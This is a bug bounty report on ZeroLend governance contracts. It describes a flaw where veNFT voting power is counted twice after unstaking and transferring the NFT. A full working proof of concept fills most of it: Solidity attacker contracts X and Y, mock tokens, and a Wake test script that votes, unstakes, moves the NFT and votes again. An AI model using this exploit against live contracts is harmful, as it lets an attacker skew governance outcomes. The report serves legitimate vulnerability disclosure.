29211 - [SC - Critical] Voting manipulation cause by the possibility to...

Submitted on Mar 10th 2024 at 19:37:05 UTC by @stiglitz for Boost | ZeroLend

Report ID: #29211

Report type: Smart Contract

Report severity: Critical

Target: https://github.com/zerolend/governance

Impacts:

Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

Description

Brief/Intro

Users stake their veNFT into the contract OmnichainStaking; as a result, ERC20 token representing their staking power will be minted.

These ERC20 do not allow transfers, which is crucial because in the PoolVoter contract, the balance of the staking token is accessed.

uint256 _weight = staking.balanceOf(who);

The problem is that backing veNFT token can be easily transferred.

This means that user A stakes X amount of underlying token to mint veNFT in the Locker contract.

NFT is then sent to the OmnichainStaking contract which triggers onERC721Received function, and user A gets Y amount of voting ERC20 token.

User A votes in PoolVoter, unstake veNFT from OmnichainStaking contract, sends it to B.

B sends NFT to the OmnichainStaking and get Y of voting tokens. Then B votes. This way we doubled the voting power!

Vulnerability Details

Detailed description with steps in PoC. Actions and state changes are printed out. It is also possible to print call_trace, emitted events etc.

Impact Details

Vote manipulation

References

Add any relevant links to documentation or code

Proof of Concept

X contract

import {ILocker} from "../contracts/interfaces/ILocker.sol";
import {OmnichainStaking} from "../contracts/locker/OmnichainStaking.sol";
import {PoolVoter} from "../contracts/voter/PoolVoter.sol";

contract X {
    ILocker public lpLocker;
    OmnichainStaking public staking;
    PoolVoter public poolVoter;

    constructor(address _lpLocker, address _staking, address _poolVoter){
        lpLocker  = ILocker(_lpLocker);
        staking   = OmnichainStaking(_staking);
        poolVoter = PoolVoter(_poolVoter);
    }

    function onERC721Received(
        address,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        //lpLocker.safeTransferFrom(address(this), lpLocker, tokenId);

        return this.onERC721Received.selector;
    }

    // Unstake from omnichain staking
    function unstakeLP(uint256 tokenId) external { 
        staking.unstakeLP(tokenId);
    }
    // This allows me to send anywhere I want
    function send(address to, uint256 tokenId) external {
        lpLocker.safeTransferFrom(address(this), to, tokenId);
    }

    function vote(address[] calldata _poolVote,uint256[] calldata _weights) external {
        poolVoter.vote(_poolVote, _weights);
    }
}

Y contract

import {ILocker} from "../contracts/interfaces/ILocker.sol";
import {OmnichainStaking} from "../contracts/locker/OmnichainStaking.sol";
import {PoolVoter} from "../contracts/voter/PoolVoter.sol";

contract Y {
    ILocker public lpLocker;
    OmnichainStaking public staking;
    PoolVoter public poolVoter;

    constructor(address _lpLocker, address _staking, address _poolVoter){
        lpLocker  = ILocker(_lpLocker);
        staking   = OmnichainStaking(_staking);
        poolVoter = PoolVoter(_poolVoter);
    }

    function onERC721Received(
        address,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        //lpLocker.safeTransferFrom(address(this), lpLocker, tokenId);

        return this.onERC721Received.selector;
    }

    // Unstake from omnichain staking
    function unstakeLP(uint256 tokenId) external { 
        staking.unstakeLP(tokenId);
    }
    // This allows me to send anywhere I want
    function send(address to, uint256 tokenId) external {
        lpLocker.safeTransferFrom(address(this), to, tokenId);
    }

    function vote(address[] calldata _poolVote,uint256[] calldata _weights) external {
        poolVoter.vote(_poolVote, _weights);
    }
}

Ve mock token

pragma solidity ^0.8.6;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

// Example class - a mock class derived from ERC20
contract VeToken is ERC20 {
    constructor(uint256 initialBalance) ERC20("Ve Token", "VT") public {
        _mint(msg.sender, initialBalance);
    }
}

Re mock token

pragma solidity ^0.8.6;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

// Example class - a mock class derived from ERC20
contract ReToken is ERC20 {
    constructor(uint256 initialBalance) ERC20("Re Token", "RT") public {
        _mint(msg.sender, initialBalance);
    }
}

Test

from wake.testing import *

from pytypes.openzeppelin.contracts.proxy.ERC1967.ERC1967Proxy import ERC1967Proxy
from pytypes.contracts.locker.OmnichainStaking import OmnichainStaking
from pytypes.contracts.locker.LockerToken import LockerToken
from pytypes.contracts.voter.PoolVoter import PoolVoter
from pytypes.contracts.locker.LockerLP import LockerLP
from pytypes.tests.ReToken import ReToken
from pytypes.tests.VeToken import VeToken
from pytypes.tests.X import X
from pytypes.tests.Y import Y

'''
Test written in Wake testing framework (https://getwake.io/) aka boosted brownie

Docs: 
https://ackeeblockchain.com/wake/docs/latest/

Repo:
https://github.com/Ackee-Blockchain/wake

How to run this test:

Install wake
    $ pip install eth-wake

To have actual anvil version
    $ foundryup

After installing project dependencies initialize wake
It will create `tests` folder and process foundry remappings if any
    $ wake up

Generate python representation of contracts
    $ wake init pytypes

Go to wake `tests` folder and paste this code in tests/test_default.py and run
    $ wake test tests/test_default.py

If you are interested I would be happy to teach Wake and provide complete complete protocol deployment with tests (and fuzz testing)
contact telegram: @bem1c
'''


def deploy_with_proxy(contract):
    impl = contract.deploy()
    proxy = ERC1967Proxy.deploy(impl, b"")
    return contract(proxy)

# Print failing tx call trace
def revert_handler(e: TransactionRevertedError):
    if e.tx is not None:
        print(e.tx.call_trace)

@default_chain.connect()
@on_revert(revert_handler)
def test_default():
    # ======================DEPLOY========================= #
    random  = default_chain.accounts[9]
    owner   = default_chain.accounts[0]
    bob     = default_chain.accounts[1]
    

    omnichain   = deploy_with_proxy(OmnichainStaking)
    locker      = deploy_with_proxy(LockerLP)
    pool_voter  = deploy_with_proxy(PoolVoter)
    # Two mock tokens - underlying for Locker and reward for PoolVoter
    ve_token = VeToken.deploy(100*10**18, from_=bob)
    re_token = ReToken.deploy(100*10**18, from_=bob)

    omnichain.init(random, random, locker, from_=owner)
    locker.init(ve_token, omnichain, random, from_=owner)
    pool_voter.init(omnichain, re_token, from_=owner)

    # Deploy two contracts with the ability to receive and send ERC721
    # Both controlled by Bob
    x = X.deploy(locker, omnichain, pool_voter, from_ = bob)
    y = Y.deploy(locker, omnichain, pool_voter, from_ = bob)

    # Random addresse for gauge and asset are OK now
    gauge = default_chain.accounts[2]
    asset = default_chain.accounts[3]
    pool_voter.registerGauge(asset, gauge, from_=owner)

    # ===================================================== #
    # Lock time
    two_weeks = 60*60*24*14
    # Amount
    amount  = 10*10**18
    # Bob approve locker contract
    ve_token.approve(locker, amount, from_=bob)
    # Bob creates lock for X
    locker.createLockFor(amount, two_weeks,x ,False, from_=bob)
    # Read X's token id
    toke_id = locker.tokenOfOwnerByIndex(x,0)
    # Send NFT to omnichain staking
    x.send(omnichain, toke_id, from_=bob)
    print('X transfer --> omnichain')

    # X votes in PoolVoter
    poolVote = [asset]
    weights  = [1]
    print('X vote')
    x.vote(poolVote, weights, from_=bob)
    print(f'    :: pool_voter.usedWeights(x) == {pool_voter.usedWeights(x)}')

    # HERE IS THE PROOF THAT I CAN MOVE NFTS SO I CAN MOVE VOTING POWER SO I CAN MANIPULATE VOTING
    # Just X and Y contracts were created so I can double the voting power
    # but in generel `number of contracts * voting power`
    print(f'    :: Staking balance X: {omnichain.balanceOf(x)}')
    # Unstake from staking
    x.unstakeLP(toke_id, from_=bob)
    print('X unstake from omnichain')
    print(f'    :: Staking balance X : {omnichain.balanceOf(x)}')
    print('X transfer --> Y')
    # Send from X to Y
    x.send(y, toke_id, from_=bob)
    print(f'    :: Staking balance X: {omnichain.balanceOf(x)}')
    print(f'    :: Staking balance Y: {omnichain.balanceOf(y)}')
    print('Y transfer --> omnichain')
    # Send from Y to omnichain
    y.send(omnichain, toke_id, from_=bob)
    # Y votes in PoolVoter
    y.vote(poolVote, weights, from_=bob)
    print('Y vote')
    print(f'    :: pool_voter.usedWeights(y) == {pool_voter.usedWeights(y)}')
    print(f'    :: Staking balance X: {omnichain.balanceOf(x)}')
    print(f'    :: Staking balance Y: {omnichain.balanceOf(y)}')
    # How to print call trace example
    # tx = y.vote(poolVote, weights, from_=bob)
    # print(tx.call_trace)

    # ===================================================== #

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